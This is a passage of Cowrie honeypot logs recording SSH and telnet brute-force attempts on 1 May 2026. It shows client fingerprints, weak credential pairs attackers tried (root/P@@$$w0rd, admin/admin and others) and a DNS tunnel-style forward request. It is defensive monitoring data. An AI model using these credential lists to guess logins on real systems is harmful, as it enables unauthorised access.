f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:46.229526Z","src_ip":"210.114.22.126","session":"9571dcd2a549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"panadepula","message":"login attempt [postgres/panadepula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:48.146718Z","src_ip":"210.114.22.126","session":"9571dcd2a549","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:48.440262Z","src_ip":"122.168.114.167","session":"d70785f34a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:48.492440Z","src_ip":"122.168.114.167","session":"d70785f34a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:30:50.150853Z","src_ip":"210.114.22.126","session":"9571dcd2a549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:06.296542Z","src_ip":"122.168.114.167","session":"d70785f34a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.17490577697754,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:09.105451Z","src_ip":"185.26.126.47","session":"ea913e8cbeac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"27.4","message":"Connection lost after 27.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:11.552771Z","src_ip":"122.168.114.167","session":"d70785f34a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53498,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb498e9634f","protocol":"ssh","message":"New connection: 122.168.114.167:53498 (159.203.135.109:22) [session: ccb498e9634f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:23.417927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:28.473879Z","src_ip":"122.168.114.167","session":"ccb498e9634f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:28.479166Z","src_ip":"122.168.114.167","session":"ccb498e9634f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.84060192108154,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:28.616855Z","src_ip":"185.26.126.47","session":"fd38007c157b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":59954,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0d52b8482b3","protocol":"ssh","message":"New connection: 103.13.206.208:59954 (159.203.135.109:22) [session: f0d52b8482b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:48.987195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:48.991771Z","src_ip":"103.13.206.208","session":"f0d52b8482b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:49.245461Z","src_ip":"103.13.206.208","session":"f0d52b8482b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@@$$w0rd","message":"login attempt [root/P@@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:50.296017Z","src_ip":"103.13.206.208","session":"f0d52b8482b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:51.550906Z","src_ip":"103.13.206.208","session":"f0d52b8482b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:52.682584Z","src_ip":"122.168.114.167","session":"ccb498e9634f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":36418,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e3a7f4caf7f","protocol":"ssh","message":"New connection: 106.75.222.164:36418 (10.17.0.5:22) [session: 1e3a7f4caf7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:54.172458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:54.177427Z","src_ip":"106.75.222.164","session":"1e3a7f4caf7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:54.428006Z","src_ip":"106.75.222.164","session":"1e3a7f4caf7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48060,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8004259b89d","protocol":"ssh","message":"New connection: 87.251.64.176:48060 (10.17.0.5:22) [session: c8004259b89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:56.173100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:56.177607Z","src_ip":"87.251.64.176","session":"c8004259b89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"passw0rd","message":"login attempt [user2/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:56.181623Z","src_ip":"106.75.222.164","session":"1e3a7f4caf7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:56.273378Z","src_ip":"87.251.64.176","session":"c8004259b89d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:56.560836Z","src_ip":"87.251.64.176","session":"c8004259b89d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:56.659102Z","session":"c8004259b89d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:56.755801Z","src_ip":"87.251.64.176","session":"c8004259b89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:31:56.854534Z","src_ip":"87.251.64.176","session":"c8004259b89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.9","message":"Connection lost after 36.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:00.288679Z","src_ip":"122.168.114.167","session":"ccb498e9634f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.79.94.12","src_port":48950,"dst_ip":"10.17.0.5","dst_port":23,"session":"76fc88b1abb7","protocol":"telnet","message":"New connection: 61.79.94.12:48950 (10.17.0.5:23) [session: 76fc88b1abb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:00.310249Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55902,"dst_ip":"159.203.135.109","dst_port":22,"session":"2296946be3cb","protocol":"ssh","message":"New connection: 122.168.114.167:55902 (159.203.135.109:22) [session: 2296946be3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:01.654932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:08.982742Z","src_ip":"122.168.114.167","session":"2296946be3cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:08.989054Z","src_ip":"122.168.114.167","session":"2296946be3cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.813343286514282,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:13.123478Z","src_ip":"61.79.94.12","session":"76fc88b1abb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":43644,"dst_ip":"10.17.0.5","dst_port":22,"session":"113f53652025","protocol":"ssh","message":"New connection: 210.114.22.126:43644 (10.17.0.5:22) [session: 113f53652025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:15.754573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:16.641052Z","src_ip":"210.114.22.126","session":"113f53652025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:16.840749Z","src_ip":"210.114.22.126","session":"113f53652025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":56398,"dst_ip":"10.17.0.5","dst_port":22,"session":"0360266dce6a","protocol":"ssh","message":"New connection: 103.97.179.160:56398 (10.17.0.5:22) [session: 0360266dce6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:18.129430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:18.132810Z","src_ip":"103.97.179.160","session":"0360266dce6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"654321","message":"login attempt [user/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:18.147128Z","src_ip":"210.114.22.126","session":"113f53652025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:18.376468Z","src_ip":"103.97.179.160","session":"0360266dce6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3srv","message":"login attempt [ts3server/ts3srv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:19.389492Z","src_ip":"103.97.179.160","session":"0360266dce6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:32:20.156233Z","src_ip":"210.114.22.126","session":"113f53652025","protocol":"ssh"}
